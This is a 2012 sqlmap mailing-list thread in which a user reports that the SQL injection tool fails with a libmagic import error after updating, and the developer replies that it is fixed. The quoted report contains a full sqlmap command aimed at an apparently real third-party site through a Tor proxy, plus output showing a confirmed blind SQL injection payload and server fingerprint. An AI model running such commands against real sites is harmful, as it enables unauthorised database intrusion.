Re: [sqlmap-users] not working after updating
Brought to you by:
inquisb
From: Bernardo D. A. G. <ber...@gm...> - 2012-12-19 13:11:17
|
It should be fixed now. Can you please retry? Bernardo On 19 December 2012 12:05, Andreas Constantinides (MegaHz) < me...@me...> wrote: > > Hello, > > check at this: > > sqlmap was working: > > sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u " > http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" > --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D > dassad33_kjd7sadh --random-agent > > sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover > tool > http://sqlmap.org > > [!] legal disclaimer: Usage of sqlmap for attacking targets without prior > mutual consent is illegal. It is the end user's responsibility to obey all > applicable local, state and federal laws. Developers assume no liability > and are not responsible for any misuse or damage caused by this program > > [*] starting at 14:00:14 > > [14:00:14] [INFO] fetched random HTTP User-Agent header from file > '/Volumes/EXTRA SPACE/tools/sqlmap-dev/txt/user-agents.txt': Mozilla/5.0 > (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 > AskTbCDS/3.9.1.14019 Firefox/3.6.13 > [14:00:15] [INFO] resuming back-end DBMS 'microsoft sql server' > [14:00:15] [INFO] testing connection to the target url > sqlmap identified the following injection points with a total of 0 HTTP(s) > requests: > --- > Place: GET > Parameter: filter_searchResults > Type: boolean-based blind > Title: AND boolean-based blind - WHERE or HAVING clause > Payload: > a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007) AND > 4775=4775 AND > (4447=4447&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY,TEXT&a_name=search_1&customrpp=10 > --- > [14:00:19] [INFO] the back-end DBMS is Microsoft SQL Server > web server operating system: Windows 2003 > web application technology: ColdFusion, Microsoft IIS 6.0 > back-end DBMS: Microsoft SQL Server 2005 > > > I updated: > > > sast-iMac:sqlmap-dev sast$ > sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py --update > > sqlmap/1.0-dev-d4a061d - automatic SQL injection and database takeover > tool > http://sqlmap.org > > [!] legal disclaimer: Usage of sqlmap for attacking targets without prior > mutual consent is illegal. It is the end user's responsibility to obey all > applicable local, state and federal laws. Developers assume no liability > and are not responsible for any misuse or damage caused by this program > > [*] starting at 14:00:34 > > [14:00:34] [INFO] updating sqlmap to the latest development version from > the GitHub repository > [14:00:34] [INFO] update in progress ....... > [14:00:41] [INFO] updated to the latest revision '54752a9' > > [*] shutting down at 14:00:41 > > > and now with the same command i get errors: > > > sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u " > http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" > --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D > dassad33_kjd7sadh --random-agent > Traceback (most recent call last): > File "./sqlmap.py", line 15, in <module> > from _sqlmap import main > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in > <module> > from lib.controller.controller import start > File "/Volumes/EXTRA > SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module> > from lib.controller.action import action > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", > line 8, in <module> > from lib.controller.handler import setHandler > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", > line 8, in <module> > from lib.core.common import Backend > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line > 133, in <module> > from thirdparty.magic import magic > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", > line 132, in <module> > raise ImportError('failed to find libmagic. Check your installation') > ImportError: failed to find libmagic. Check your installation > sast-iMac:sqlmap-dev sast$ sudo ./sqlmap.py -u " > http://www.tfwekjsa.com/kjd7sadh.cfm?a_id=11&tt=graphic&page=1&text=mpeg4&filter_searchResults=300007&SEARCH_TP=AND&FIELDNAMES=PRODUCTMAINCATEGORY%2CTEXT&a_name=search_1&customrpp=10" > --proxy=socks5://localhost:9050 -v 1 --threads 10 --tables -D > dassad33_kjd7sadh --random-agent > Traceback (most recent call last): > File "./sqlmap.py", line 15, in <module> > from _sqlmap import main > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/_sqlmap.py", line 21, in > <module> > from lib.controller.controller import start > File "/Volumes/EXTRA > SPACE/tools/sqlmap-dev/lib/controller/controller.py", line 11, in <module> > from lib.controller.action import action > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/action.py", > line 8, in <module> > from lib.controller.handler import setHandler > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/controller/handler.py", > line 8, in <module> > from lib.core.common import Backend > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/lib/core/common.py", line > 133, in <module> > from thirdparty.magic import magic > File "/Volumes/EXTRA SPACE/tools/sqlmap-dev/thirdparty/magic/magic.py", > line 132, in <module> > raise ImportError('failed to find libmagic. Check your installation') > ImportError: failed to find libmagic. Check your installation > sast-iMac:sqlmap-dev sast$ > > > > any ideas? > > thanks > > > ------------------------------------------------------------------------------ > LogMeIn Rescue: Anywhere, Anytime Remote support for IT. Free Trial > Remotely access PCs and mobile devices and provide instant support > Improve your efficiency, and focus on delivering more value-add services > Discover what IT Professionals Know. Rescue delivers > http://p.sf.net/sfu/logmein_12329d2d > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Bernardo Damele A. G. E-mail / Jabber: bernardo.damele (at) gmail.com Mobile: +447788962949 (UK 07788962949) |